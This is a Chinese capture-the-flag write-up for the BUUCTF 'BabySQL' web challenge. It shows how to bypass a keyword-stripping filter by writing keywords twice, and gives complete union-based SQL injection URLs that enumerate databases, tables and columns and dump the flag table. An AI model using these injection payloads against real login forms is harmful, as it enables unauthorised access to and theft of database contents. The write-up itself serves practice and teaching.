天天看點

BUU WEB [極客大挑戰 2019]BabySQL

看題目,明顯是一個SQL注入,打開網頁,直接用萬能密碼登陸試試看:

BUU WEB [極客大挑戰 2019]BabySQL

不行,那就隻能老老實實一步一步的走了,先order by:

BUU WEB [極客大挑戰 2019]BabySQL

錯誤!

這就很尬了,但我們可以從提示資訊裡發現一些有趣的東西,萬能密碼裡的提示資訊是or之後的資訊,order by也是,而且是der…,那是不是可以推測,or是被檢測到删除了?!回到萬能密碼再試一次,這次雙寫oorr:

BUU WEB [極客大挑戰 2019]BabySQL

成功登陸!

這說明我們的推測是正确的,那這裡就是雙寫繞過了呗。

我們将提示錯誤的資訊裡被删除的關鍵詞都雙寫,就可以正常的注入啦(在之後的注入裡會發現from和where也被過濾了,另外注意,函數有些也包括這幾個關鍵詞,注意雙寫):

?username=1' oorrder bbyy 4%23&password=1
           
BUU WEB [極客大挑戰 2019]BabySQL

3個字段,即表中有三列資料,,然後聯合查詢暴庫名:

?username=1' ununionion seselectlect 1,2,database() %23&password=1
           
BUU WEB [極客大挑戰 2019]BabySQL

然後表名:

?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23&password=1
           
BUU WEB [極客大挑戰 2019]BabySQL

接下來就是字段名和資料了,但在這兩個表裡我都沒找到flag。。。

經查閱資料(WP嘿嘿),發現找錯庫了!那就從頭來,先爆出所有的庫名:

?username=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) %23&password=1
           
BUU WEB [極客大挑戰 2019]BabySQL

flag嘛,那自然在ctf庫裡了(當然不一定,但大機率在):

(省略了order by直接檢視了表名)

?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'  %23&password=1
           
BUU WEB [極客大挑戰 2019]BabySQL

flag!

查字段:

?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere  table_name="Flag"%23&password=1
           
BUU WEB [極客大挑戰 2019]BabySQL

,檢視資料:

?username=1' uniunionon selselectect 1,2,flag frfromom ctf.Flag%23&password=1
或
?username=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23&password=1
           
BUU WEB [極客大挑戰 2019]BabySQL
wp